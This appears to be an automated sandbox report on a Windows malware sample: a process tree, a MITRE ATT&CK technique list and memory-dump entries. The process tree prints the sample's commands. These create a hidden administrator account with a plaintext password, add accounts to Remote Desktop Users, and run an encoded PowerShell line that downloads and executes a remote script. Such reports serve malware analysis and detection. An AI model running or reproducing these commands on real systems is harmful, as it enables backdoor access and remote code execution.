- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:2116

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2328
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2484
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2184

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc a3ShhLpC
1⤵
PID:3360
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc a3ShhLpC
  2⤵
  PID:2280
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc a3ShhLpC
    3⤵
    PID:4028

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2232
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:2732

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2116
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:2784

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1268
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2288

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Scripting

T1064

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1524-161-0x000002D9ECA53000-0x000002D9ECA55000-memory.dmp

Filesize
8KB

Download
memory/1524-162-0x000002D9ECA56000-0x000002D9ECA58000-memory.dmp

Filesize
8KB

Download
memory/1524-148-0x000002D9EC9F0000-0x000002D9EC9F1000-memory.dmp

Filesize
4KB

Download
memory/1524-151-0x000002D9ECCF0000-0x000002D9ECCF1000-memory.dmp

Filesize
4KB

Download
memory/1524-174-0x000002D9ED770000-0x000002D9ED771000-memory.dmp

Filesize
4KB

Download
memory/1524-189-0x000002D9ECA58000-0x000002D9ECA59000-memory.dmp

Filesize
4KB

Download
memory/1524-173-0x000002D9ED3E0000-0x000002D9ED3E1000-memory.dmp

Filesize
4KB

Download
memory/1524-167-0x000002D9ECA20000-0x000002D9ECA21000-memory.dmp

Filesize
4KB

Download
memory/1524-160-0x000002D9ECA50000-0x000002D9ECA52000-memory.dmp

Filesize
8KB

Download
memory/1576-301-0x000001B2F4D96000-0x000001B2F4D98000-memory.dmp

Filesize
8KB

Download
memory/1576-310-0x000001B2F4D98000-0x000001B2F4D9A000-memory.dmp

Filesize
8KB

Download
memory/1576-300-0x000001B2F4D93000-0x000001B2F4D95000-memory.dmp

Filesize
8KB

Download
memory/1576-299-0x000001B2F4D90000-0x000001B2F4D92000-memory.dmp

Filesize
8KB

Download
memory/2288-402-0x000001556AAF3000-0x000001556AAF5000-memory.dmp

Filesize
8KB

Download
memory/2288-454-0x000001556AAF8000-0x000001556AAF9000-memory.dmp

Filesize
4KB

Download
memory/2288-403-0x000001556AAF6000-0x000001556AAF8000-memory.dmp

Filesize
8KB

Download
memory/2288-401-0x000001556AAF0000-0x000001556AAF2000-memory.dmp

Filesize
8KB

Download
memory/3016-119-0x000000001D8A0000-0x000000001DD45000-memory.dmp

Filesize
4.6MB

Download
memory/3016-122-0x000000001F0A0000-0x000000001F52D000-memory.dmp

Filesize
4.6MB

Download
memory/3016-121-0x0000000000FC0000-0x0000000000FC1000-memory.dmp

Filesize
4KB

Download
memory/3016-120-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

Filesize
64KB

Download
memory/3016-118-0x000000001D6D0000-0x000000001D6D1000-memory.dmp

Filesize
4KB

Download
memory/3016-117-0x000000001C240000-0x000000001C242000-memory.dmp

Filesize
8KB

Download
memory/3016-114-0x0000000000420000-0x0000000000421000-memory.dmp

Filesize
4KB

Download
memory/3016-116-0x000000001C6C0000-0x000000001CCF1000-memory.dmp

Filesize
6.2MB

Download
memory/3592-132-0x0000022151A90000-0x0000022151D3A000-memory.dmp

Filesize
2.7MB

Download
memory/3592-123-0x0000000000400000-0x00000000008DB000-memory.dmp

Filesize
4.9MB

Download
memory/3592-139-0x00000221517D3000-0x00000221517D5000-memory.dmp

Filesize
8KB

Download
memory/3592-138-0x00000221517D0000-0x00000221517D2000-memory.dmp

Filesize
8KB

Download
memory/3592-141-0x00000221517D6000-0x00000221517D7000-memory.dmp

Filesize
4KB

Download
memory/3592-140-0x00000221517D5000-0x00000221517D6000-memory.dmp

Filesize
4KB

Download
memory/3592-142-0x00000221517D8000-0x00000221517DA000-memory.dmp

Filesize
8KB

Download
memory/3592-128-0x0000000000400000-0x00000000008DB000-memory.dmp

Filesize
4.9MB

Download
memory/3956-191-0x000001F2FED60000-0x000001F2FED62000-memory.dmp

Filesize
8KB

Download
memory/3956-192-0x000001F2FED63000-0x000001F2FED65000-memory.dmp

Filesize
8KB

Download
memory/3956-230-0x000001F2FED68000-0x000001F2FED6A000-memory.dmp

Filesize
8KB

Download
memory/3956-195-0x000001F2FED66000-0x000001F2FED68000-memory.dmp

Filesize
8KB

Download
memory/4012-264-0x000001627D6B6000-0x000001627D6B8000-memory.dmp

Filesize
8KB

Download
memory/4012-231-0x000001627D6B0000-0x000001627D6B2000-memory.dmp

Filesize
8KB

Download
memory/4012-232-0x000001627D6B3000-0x000001627D6B5000-memory.dmp

Filesize
8KB

Download
memory/4012-267-0x000001627D6B8000-0x000001627D6BA000-memory.dmp

Filesize
8KB

Download